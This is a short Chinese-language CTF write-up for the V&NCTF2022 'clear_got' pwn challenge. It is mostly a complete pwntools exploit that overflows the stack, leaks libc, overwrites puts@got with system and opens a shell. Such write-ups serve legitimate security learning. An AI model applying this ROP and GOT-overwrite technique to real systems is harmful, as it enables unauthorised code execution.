V&NCTF2022
clear_got
利用思路
栈溢出。利用end2函数泄露libc,再回到main函数的 mov eax, 0
,调用sysread写system地址到 puts@got
,最后 call puts
即 getshell。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| from pwn import * from LibcSearcher import * import time, sys, base64
context.os = 'linux' context.arch = 'amd64'
context.log_level = 'debug'
debug = 1 filename = 'clear_got'
if debug == 1 : p = process(filename) if debug == 2: p = remote('node4.buuoj.cn',20002) if debug == 3: p = remote('127.0.0.1',12345)
elf = ELF(filename) libc = elf.libc
main_addr = elf.sym['main'] puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] libc_main_got = elf.got['__libc_start_main'] syscall = 0x00000000040077E syswrite = 0x0000000000400774 pop_rdi = 0x00000000004007f3 pop_rsi_r15 = 0x00000000004007f1 bss = 0x60107C mov_eax = 0x00000000040075C call_puts = 0x00000000040071E
p.recvuntil('competition.///')
payload = 'a'*0x68 + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(libc_main_got) + p64(0) + p64(syswrite) payload += p64(mov_eax) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(puts_got)*2 + p64(syscall) payload += p64(pop_rdi) + p64(puts_got+8) + p64(call_puts) p.sendline(payload)
libc_main = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) libc_base = libc_main - libc.sym['__libc_start_main'] system_addr = libc_base + libc.sym['system'] log.success('libc_main: ' + hex(libc_main)) log.success('libc_base: ' + hex(libc_base))
payload = p64(system_addr) + '/bin/sh\x00' p.sendline(payload)
p.interactive()
|